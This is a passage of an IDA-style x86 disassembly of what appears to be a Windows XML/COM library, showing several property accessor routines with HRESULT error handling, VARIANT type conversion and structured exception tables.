lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B577D4
mov esi, 80004005h
jmp short loc_69B577DE
; ---------------------------------------------------------------------------
loc_69B577D4: ; CODE XREF: sub_69B57792+39j
cmp [ebp+14h], ebx
jnz short loc_69B577F4
mov esi, 80070057h
loc_69B577DE: ; CODE XREF: sub_69B57792+40j
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
jmp loc_69B5787C
; ---------------------------------------------------------------------------
loc_69B577F4: ; CODE XREF: sub_69B57792+45j
mov [ebp-4], ebx
push offset aXml ; "xml"
push dword ptr [ebp+0Ch] ; psz1
call ds:StrCmpW ; StrCmpW
mov ecx, [esi+18h]
test eax, eax
jnz short loc_69B57829
mov [ebp-34h], ecx
push dword ptr [ebp+10h] ; lpString
call sub_69B3FB2F
mov [ebp-38h], eax
mov ecx, [eax]
push dword ptr [ebp+14h]
push offset dword_69B25DA4
push eax
call dword ptr [ecx]
jmp short loc_69B57861
; ---------------------------------------------------------------------------
loc_69B57829: ; CODE XREF: sub_69B57792+78j
mov [ebp-40h], ecx
push dword ptr [ebp+14h]
push offset dword_69B25DA4
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 5
call sub_69B5705C
jmp short loc_69B57861
; ---------------------------------------------------------------------------
loc_69B57843: ; DATA XREF: .text:69B5788Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5784C: ; DATA XREF: .text:69B57890o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B57861: ; CODE XREF: sub_69B57792+95j
; sub_69B57792+AFj
mov [ebp-3Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B5787C: ; CODE XREF: sub_69B57792+22j
; sub_69B57792+5Dj
call sub_69B1853C
retn 10h
sub_69B57792 endp
; ---------------------------------------------------------------------------
align 8
dword_69B57888 dd 0FFFFFFFFh dd offset loc_69B57843
dd offset loc_69B5784C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B57894 proc near ; DATA XREF: .text:69B28F28o
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B578AE
mov eax, 80004005h
jmp short loc_69B57903
; ---------------------------------------------------------------------------
loc_69B578AE: ; CODE XREF: sub_69B57894+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_14]
push edi
call sub_69B43E1C
cmp [ebp+var_10], 0
jnz short loc_69B578CB
mov esi, 80004005h
jmp short loc_69B578F1
; ---------------------------------------------------------------------------
loc_69B578CB: ; CODE XREF: sub_69B57894+2Ej
cmp [ebp+arg_8], 0
jnz short loc_69B578D8
mov esi, 80070057h
jmp short loc_69B578F1
; ---------------------------------------------------------------------------
loc_69B578D8: ; CODE XREF: sub_69B57894+3Bj
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25D54
push 0
push [ebp+arg_4]
push 0Bh
call sub_69B5705C
mov esi, eax
loc_69B578F1: ; CODE XREF: sub_69B57894+35j
; sub_69B57894+42j
lea ecx, [ebp+var_14]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B57903: ; CODE XREF: sub_69B57894+18j
pop edi
leave
retn 0Ch
sub_69B57894 endp
; =============== S U B R O U T I N E =======================================
sub_69B57908 proc near ; DATA XREF: .text:69B28F30o
push 3Ch
push offset dword_69B57A68
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor esi, esi
cmp edi, esi
jnz short loc_69B5792F
mov eax, 80004005h
jmp loc_69B57A5D
; ---------------------------------------------------------------------------
loc_69B5792F: ; CODE XREF: sub_69B57908+1Bj
mov ebx, [ebp+8]
push dword ptr [ebx+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B5794B
mov esi, 80004005h
jmp short loc_69B5795F
; ---------------------------------------------------------------------------
loc_69B5794B: ; CODE XREF: sub_69B57908+3Aj
mov word ptr [ebp-40h], 1
mov [ebp-44h], esi
cmp dword ptr [ebp+24h], 0
jnz short loc_69B57975
mov esi, 80070057h
loc_69B5795F: ; CODE XREF: sub_69B57908+41j
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
jmp loc_69B57A5D
; ---------------------------------------------------------------------------
loc_69B57975: ; CODE XREF: sub_69B57908+50j
push 3 ; vt
push 1 ; wFlags
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-40h]
push eax ; pvargDest
call VariantChangeType
test eax, eax
jz short loc_69B579D6
push 8 ; vt
push 1 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-40h]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jnz loc_69B57A38
mov edi, offset off_69B99AF0
cmp off_69B99AF0, eax
jz short loc_69B579D9
loc_69B579B9: ; CODE XREF: sub_69B57908+C5j
mov eax, [edi]
mov ecx, [ebp-38h]
call sub_69B56FD5
test al, al
jnz short loc_69B579D1
add edi, 8
cmp dword ptr [edi], 0
jnz short loc_69B579B9
jmp short loc_69B579D9
; ---------------------------------------------------------------------------
loc_69B579D1: ; CODE XREF: sub_69B57908+BDj
mov esi, [edi+4]
jmp short loc_69B579D9
; ---------------------------------------------------------------------------
loc_69B579D6: ; CODE XREF: sub_69B57908+81j
mov esi, [ebp-38h]
loc_69B579D9: ; CODE XREF: sub_69B57908+AFj
; sub_69B57908+C7j ...
test esi, esi
jle short loc_69B57A38
cmp esi, 0Ch
jg short loc_69B57A38
and dword ptr [ebp-4], 0
mov ecx, [ebx+18h]
mov [ebp-48h], ecx
push 1 ; int
push dword ptr [ebp+20h] ; int
push dword ptr [ebp+1Ch] ; lpString
push dword_69B99B68[esi*4] ; int
call sub_69B3E5A2
mov ecx, eax
mov [ebp-4Ch], ecx
call sub_69B48B01
mov ecx, [ebp+24h]
mov [ecx], eax
loc_69B57A0F: ; CODE XREF: sub_69B57908+12Ej
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B57A3F
; ---------------------------------------------------------------------------
loc_69B57A15: ; DATA XREF: .text:69B57A6Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57A1E: ; DATA XREF: .text:69B57A70o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-44h], eax
jmp short loc_69B57A0F
; ---------------------------------------------------------------------------
loc_69B57A38: ; CODE XREF: sub_69B57908+9Ej
; sub_69B57908+D3j ...
mov dword ptr [ebp-44h], 80070057h
loc_69B57A3F: ; CODE XREF: sub_69B57908+10Bj
lea eax, [ebp-40h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-44h]
loc_69B57A5D: ; CODE XREF: sub_69B57908+22j
; sub_69B57908+68j
call sub_69B1853C
retn 20h
sub_69B57908 endp
; ---------------------------------------------------------------------------
align 4
dword_69B57A68 dd 0FFFFFFFFh dd offset loc_69B57A15
dd offset loc_69B57A1E
; =============== S U B R O U T I N E =======================================
sub_69B57A74 proc near ; DATA XREF: .text:69B28F34o
push 2Ch
push offset dword_69B57B50
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B57A99
mov eax, 80004005h
jmp loc_69B57B47
; ---------------------------------------------------------------------------
loc_69B57A99: ; CODE XREF: sub_69B57A74+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push ebx
lea ecx, [ebp-2Ch]
call sub_69B18B3B
cmp dword ptr [ebp+0Ch], 0
jz short loc_69B57AB5
mov edi, [ebp+10h]
test edi, edi
jnz short loc_69B57ACB
loc_69B57AB5: ; CODE XREF: sub_69B57A74+38j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B57B47
; ---------------------------------------------------------------------------
loc_69B57ACB: ; CODE XREF: sub_69B57A74+3Fj
xor ebx, ebx
and [ebp-4], ebx
mov esi, [esi+18h]
mov [ebp-30h], esi
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
push eax
call sub_69B1A2EC
push eax
mov ecx, esi
call sub_69B3E780
mov ecx, eax
mov [ebp-34h], ecx
xor eax, eax
mov [ebp-38h], eax
test ecx, ecx
jz short loc_69B57B02
call sub_69B48B01
mov [ebp-38h], eax
loc_69B57B02: ; CODE XREF: sub_69B57A74+84j
mov [edi], eax
test eax, eax
jnz short loc_69B57B30
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B57B30
; ---------------------------------------------------------------------------
loc_69B57B10: ; DATA XREF: .text:69B57B54o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57B19: ; DATA XREF: .text:69B57B58o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B57B30: ; CODE XREF: sub_69B57A74+92j
; sub_69B57A74+9Aj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B57B47: ; CODE XREF: sub_69B57A74+20j
; sub_69B57A74+55j
call sub_69B1853C
retn 0Ch
sub_69B57A74 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B57B50 dd 0FFFFFFFFh dd offset loc_69B57B10
dd offset loc_69B57B19
; =============== S U B R O U T I N E =======================================
sub_69B57B5C proc near ; DATA XREF: .text:69B28F38o
push 84h
push offset dword_69B57E98
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B57B84
mov eax, 80004005h
jmp loc_69B57E7B
; ---------------------------------------------------------------------------
loc_69B57B84: ; CODE XREF: sub_69B57B5C+1Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], ebx
mov word ptr [ebp-3Ch], 1
mov [ebp-40h], ebx
mov [ebp-44h], ebx
mov [ebp-48h], ebx
mov [ebp-4Ch], ebx
mov [ebp-4Dh], bl
cmp [ebp+1Ch], ebx
jnz short loc_69B57BBC
mov dword ptr [ebp-2Ch], 80070057h
jmp loc_69B57E1A
; ---------------------------------------------------------------------------
loc_69B57BBC: ; CODE XREF: sub_69B57B5C+52j
mov [ebp-4], ebx
test byte ptr [ebp+0Dh], 20h
jz short loc_69B57BFB
cmp word ptr [ebp+0Ch], 2011h
jnz loc_69B57D70
push 34h
call sub_69B1D897
mov ecx, eax
mov [ebp-54h], ecx
cmp ecx, ebx
jz short loc_69B57BEB
push dword ptr [ebp+14h] ; psa
call sub_69B5663E
jmp short loc_69B57BED
; ---------------------------------------------------------------------------
loc_69B57BEB: ; CODE XREF: sub_69B57B5C+83j
xor eax, eax
loc_69B57BED: ; CODE XREF: sub_69B57B5C+8Dj
mov [ebp-40h], eax
mov eax, [esi+18h]
mov [ebp-58h], eax
jmp loc_69B57CB3
; ---------------------------------------------------------------------------
loc_69B57BFB: ; CODE XREF: sub_69B57B5C+67j
push ebx
lea eax, [ebp+0Ch]
push eax
call sub_69B88597
mov edi, eax
mov [ebp-5Ch], edi
cmp edi, ebx
jz loc_69B57CF5
mov eax, [edi]
lea ecx, [ebp-40h]
push ecx
push offset dword_69B2AFF0
push edi
call dword ptr [eax]
test eax, eax
jnz short loc_69B57C2F
mov eax, [esi+18h]
mov [ebp-60h], eax
jmp loc_69B57CB3
; ---------------------------------------------------------------------------
loc_69B57C2F: ; CODE XREF: sub_69B57B5C+C6j
mov eax, [edi]
lea ecx, [ebp-44h]
push ecx
push offset dword_69B2B000
push edi
call dword ptr [eax]
test eax, eax
jnz short loc_69B57C54
push dword ptr [ebp-44h]
call sub_69B38858
mov [ebp-40h], eax
mov eax, [esi+18h]
mov [ebp-64h], eax
jmp short loc_69B57CB3
; ---------------------------------------------------------------------------
loc_69B57C54: ; CODE XREF: sub_69B57B5C+E3j
mov eax, [edi]
lea ecx, [ebp-48h]
push ecx
push offset dword_69B2B020
push edi
call dword ptr [eax]
test eax, eax
jz short loc_69B57CC3
mov eax, [edi]
lea ecx, [ebp-48h]
push ecx
push offset dword_69B2B0D0
push edi
call dword ptr [eax]
test eax, eax
jz short loc_69B57CC3
mov eax, [edi]
lea ecx, [ebp-4Ch]
push ecx
push offset dword_69B57E84
push edi
call dword ptr [eax]
test eax, eax
jnz loc_69B57D70
push 34h
call sub_69B1D897
mov ecx, eax
mov [ebp-68h], ecx
cmp ecx, ebx
jz short loc_69B57CA8
push dword ptr [ebp-4Ch]
call sub_69B565AE
jmp short loc_69B57CAA
; ---------------------------------------------------------------------------
loc_69B57CA8: ; CODE XREF: sub_69B57B5C+140j
xor eax, eax
loc_69B57CAA: ; CODE XREF: sub_69B57B5C+14Aj
mov [ebp-40h], eax
mov eax, [esi+18h]
mov [ebp-6Ch], eax
loc_69B57CB3: ; CODE XREF: sub_69B57B5C+9Aj
; sub_69B57B5C+CEj ...
lea ecx, [eax+24h]
mov eax, [ecx]
push dword ptr [ebp-40h]
call dword ptr [eax+3Ch]
jmp loc_69B57D59
; ---------------------------------------------------------------------------
loc_69B57CC3: ; CODE XREF: sub_69B57B5C+108j
; sub_69B57B5C+11Aj
push 34h
call sub_69B1D897
mov ecx, eax
mov [ebp-70h], ecx
cmp ecx, ebx
jz short loc_69B57CE1
mov eax, [esi+18h]
mov [ebp-74h], eax
push eax
call sub_69B56509
jmp short loc_69B57CE3
; ---------------------------------------------------------------------------
loc_69B57CE1: ; CODE XREF: sub_69B57B5C+175j
xor eax, eax
loc_69B57CE3: ; CODE XREF: sub_69B57B5C+183j
mov [ebp-40h], eax
mov eax, [ebp-48h]
mov ecx, [eax]
push ebx
push dword ptr [ebp-40h]
push eax
call dword ptr [ecx+18h]
jmp short loc_69B57D59
; ---------------------------------------------------------------------------
loc_69B57CF5: ; CODE XREF: sub_69B57B5C+B0j
push 8 ; vt
push 1 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-3Ch]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jnz short loc_69B57D70
cmp [ebp-34h], ebx
jz short loc_69B57D70
mov ecx, [esi+18h]
mov [ebp-78h], ecx
call sub_69B3E0AB
mov byte ptr [ebp-4Dh], 1
push dword ptr [ebp-34h] ; lpString
call sub_69B1A587
mov [ebp-7Ch], eax
mov eax, [esi+18h]
mov ecx, eax
mov [ebp-80h], ecx
mov [ebp-84h], eax
mov al, [eax+8Ch]
mov [ebp-88h], al
mov eax, [ecx]
push dword ptr [ebp-88h]
push dword ptr [ebp-7Ch]
call dword ptr [eax+50h]
loc_69B57D59: ; CODE XREF: sub_69B57B5C+162j
; sub_69B57B5C+197j
mov eax, [esi+18h]
mov [ebp-8Ch], eax
lea ecx, [eax+24h]
mov eax, [ecx]
call dword ptr [eax+44h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B57DAA
; ---------------------------------------------------------------------------
loc_69B57D70: ; CODE XREF: sub_69B57B5C+6Fj
; sub_69B57B5C+12Cj ...
mov dword ptr [ebp-2Ch], 80070057h
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B57E1A
; ---------------------------------------------------------------------------
loc_69B57D80: ; DATA XREF: .text:69B57E9Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57D89: ; DATA XREF: .text:69B57EA0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov esi, [ebp+8]
loc_69B57DAA: ; CODE XREF: sub_69B57B5C+212j
mov dword ptr [ebp-4], 1
mov eax, [esi+18h]
mov [ebp-90h], eax
mov byte ptr [eax+0C9h], 1
cmp [ebp-4Dh], bl
jz short loc_69B57E01
mov ecx, [esi+18h]
mov [ebp-94h], ecx
push dword ptr [ebp-2Ch]
call sub_69B3E1E4
jmp short loc_69B57E01
; ---------------------------------------------------------------------------
loc_69B57DD9: ; DATA XREF: .text:69B57EA8o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57DE2: ; DATA XREF: .text:69B57EACo
mov esp, [ebp-18h]
xor ebx, ebx
cmp [ebp-2Ch], ebx
jnz short loc_69B57E01
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B57E01: ; CODE XREF: sub_69B57B5C+268j
; sub_69B57B5C+27Bj ...
or dword ptr [ebp-4], 0FFFFFFFFh
cmp [ebp-2Ch], ebx
jge short loc_69B57E1A
cmp dword ptr [ebp-2Ch], 80070005h
jz short loc_69B57E1A
mov dword ptr [ebp-2Ch], 1
loc_69B57E1A: ; CODE XREF: sub_69B57B5C+5Bj
; sub_69B57B5C+21Fj ...
xor eax, eax
cmp [ebp-2Ch], ebx
setnz al
dec eax
mov ecx, [ebp+1Ch]
mov [ecx], ax
lea eax, [ebp-3Ch]
push eax ; pvarg
call VariantClear
mov eax, [ebp-40h]
cmp eax, ebx
jz short loc_69B57E40
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B57E40: ; CODE XREF: sub_69B57B5C+2DCj
mov eax, [ebp-44h]
cmp eax, ebx
jz short loc_69B57E4D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B57E4D: ; CODE XREF: sub_69B57B5C+2E9j
mov eax, [ebp-4Ch]
cmp eax, ebx
jz short loc_69B57E5A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B57E5A: ; CODE XREF: sub_69B57B5C+2F6j
mov eax, [ebp-48h]
cmp eax, ebx
jz short loc_69B57E67
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B57E67: ; CODE XREF: sub_69B57B5C+303j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B57E7B: ; CODE XREF: sub_69B57B5C+23j
call sub_69B1853C
retn 18h
sub_69B57B5C endp
; ---------------------------------------------------------------------------
align 4
dword_69B57E84 dd 0D97A6DA0h, 11CFA861h, 0A000AE93h, 0D82B0CC9h, 90909090h
; DATA XREF: sub_69B57B5C+122o
dword_69B57E98 dd 0FFFFFFFFh dd offset loc_69B57D80
dd offset loc_69B57D89
dd 0FFFFFFFFh
dd offset loc_69B57DD9
dd offset loc_69B57DE2
; =============== S U B R O U T I N E =======================================
sub_69B57EB0 proc near ; DATA XREF: .text:69B28F3Co
push 24h
push offset dword_69B57F58
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
xor edi, edi
cmp ebx, edi
jnz short loc_69B57ED4
mov eax, 80004005h
jmp short loc_69B57F4A
; ---------------------------------------------------------------------------
loc_69B57ED4: ; CODE XREF: sub_69B57EB0+1Bj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push ebx
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov eax, [ebp+0Ch]
cmp eax, edi
jnz short loc_69B57F00
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B57F4A
; ---------------------------------------------------------------------------
loc_69B57F00: ; CODE XREF: sub_69B57EB0+38j
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-30h], esi
mov esi, [esi+40h]
mov [ebp-34h], esi
mov [eax], esi
jmp short loc_69B57F33
; ---------------------------------------------------------------------------
loc_69B57F13: ; DATA XREF: .text:69B57F5Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57F1C: ; DATA XREF: .text:69B57F60o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B57F33: ; CODE XREF: sub_69B57EB0+61j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B57F4A: ; CODE XREF: sub_69B57EB0+22j
; sub_69B57EB0+4Ej
call sub_69B1853C
retn 8
sub_69B57EB0 endp
; ---------------------------------------------------------------------------
align 8
dword_69B57F58 dd 0FFFFFFFFh dd offset loc_69B57F13
dd offset loc_69B57F1C
; =============== S U B R O U T I N E =======================================
sub_69B57F64 proc near ; DATA XREF: .text:69B28F40o
push 28h
push offset dword_69B58028
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B57F89
mov eax, 80004005h
jmp loc_69B5801B
; ---------------------------------------------------------------------------
loc_69B57F89: ; CODE XREF: sub_69B57F64+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push ebx
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B57FB5
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B5801B
; ---------------------------------------------------------------------------
loc_69B57FB5: ; CODE XREF: sub_69B57F64+39j
xor ebx, ebx
and [ebp-4], ebx
push 20h
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B57FDE
mov eax, [esi+18h]
mov [ebp-34h], eax
mov eax, [eax+6Ch]
mov [ebp-38h], eax
push eax
call sub_69B5A7CD
jmp short loc_69B57FE0
; ---------------------------------------------------------------------------
loc_69B57FDE: ; CODE XREF: sub_69B57F64+64j
xor eax, eax
loc_69B57FE0: ; CODE XREF: sub_69B57F64+78j
mov [edi], eax
jmp short loc_69B58004
; ---------------------------------------------------------------------------
loc_69B57FE4: ; DATA XREF: .text:69B5802Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57FED: ; DATA XREF: .text:69B58030o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B58004: ; CODE XREF: sub_69B57F64+7Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5801B: ; CODE XREF: sub_69B57F64+20j
; sub_69B57F64+4Fj
call sub_69B1853C
retn 8
sub_69B57F64 endp
; ---------------------------------------------------------------------------
align 8
dword_69B58028 dd 0FFFFFFFFh dd offset loc_69B57FE4
dd offset loc_69B57FED
; =============== S U B R O U T I N E =======================================
sub_69B58034 proc near ; DATA XREF: .text:69B28F44o
push 30h
push offset dword_69B58100
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B58059
mov eax, 80004005h
jmp loc_69B580F3
; ---------------------------------------------------------------------------
loc_69B58059: ; CODE XREF: sub_69B58034+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push ebx
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B58085
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B580F3
; ---------------------------------------------------------------------------
loc_69B58085: ; CODE XREF: sub_69B58034+39j
xor ebx, ebx
and [ebp-4], ebx
mov esi, [esi+18h]
mov [ebp-30h], esi
mov eax, [esi+48h]
mov [ebp-34h], eax
mov [ebp-38h], eax
test eax, eax
jz short loc_69B580B1
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B580DC
; ---------------------------------------------------------------------------
loc_69B580B1: ; CODE XREF: sub_69B58034+67j
and dword ptr [edi], 0
xor ebx, ebx
inc ebx
mov [ebp-40h], ebx
jmp short loc_69B580DC
; ---------------------------------------------------------------------------
loc_69B580BC: ; DATA XREF: .text:69B58104o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B580C5: ; DATA XREF: .text:69B58108o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B580DC: ; CODE XREF: sub_69B58034+7Bj
; sub_69B58034+86j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B580F3: ; CODE XREF: sub_69B58034+20j
; sub_69B58034+4Fj
call sub_69B1853C
retn 8
sub_69B58034 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58100 dd 0FFFFFFFFh dd offset loc_69B580BC
dd offset loc_69B580C5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5810C proc near ; DATA XREF: .text:69B28F48o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B58126
mov eax, 80004005h
jmp short loc_69B58168
; ---------------------------------------------------------------------------
loc_69B58126: ; CODE XREF: sub_69B5810C+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
mov eax, [ebp+arg_4]
test eax, eax
jnz short loc_69B58144
mov esi, 80070057h
jmp short loc_69B58156
; ---------------------------------------------------------------------------
loc_69B58144: ; CODE XREF: sub_69B5810C+2Fj
mov ecx, [esi+18h]
mov cl, [ecx+8Ch]
neg cl
sbb ecx, ecx
mov [eax], cx
xor esi, esi
loc_69B58156: ; CODE XREF: sub_69B5810C+36j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B58168: ; CODE XREF: sub_69B5810C+18j
pop edi
leave
retn 8
sub_69B5810C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5816D proc near ; DATA XREF: .text:69B28F4Co
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B58187
mov eax, 80004005h
jmp short loc_69B581C9
; ---------------------------------------------------------------------------
loc_69B58187: ; CODE XREF: sub_69B5816D+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_14]
push edi
call sub_69B43E1C
cmp [ebp+var_10], 0
jnz short loc_69B581A4
mov esi, 80004005h
jmp short loc_69B581B7
; ---------------------------------------------------------------------------
loc_69B581A4: ; CODE XREF: sub_69B5816D+2Ej
cmp [ebp+arg_4], 0
mov ecx, [esi+18h]
setnz al
mov [ecx+8Ch], al
xor esi, esi
loc_69B581B7: ; CODE XREF: sub_69B5816D+35j
lea ecx, [ebp+var_14]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B581C9: ; CODE XREF: sub_69B5816D+18j
pop edi
leave
retn 8
sub_69B5816D endp
; =============== S U B R O U T I N E =======================================
sub_69B581CE proc near ; DATA XREF: .text:69B28F50o
push 1Ch
push offset dword_69B58268
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B581F0
mov eax, 80004005h
jmp short loc_69B58259
; ---------------------------------------------------------------------------
loc_69B581F0: ; CODE XREF: sub_69B581CE+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-2Ch], esi
mov ebx, [esi]
push edi
mov eax, 0C00CE216h
push eax
push eax
call sub_69B2E8CC
add esp, 0Ch
push eax
mov ecx, esi
call dword ptr [ebx+64h]
jmp short loc_69B58242
; ---------------------------------------------------------------------------
loc_69B58222: ; DATA XREF: .text:69B5826Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5822B: ; DATA XREF: .text:69B58270o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B58242: ; CODE XREF: sub_69B581CE+52j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
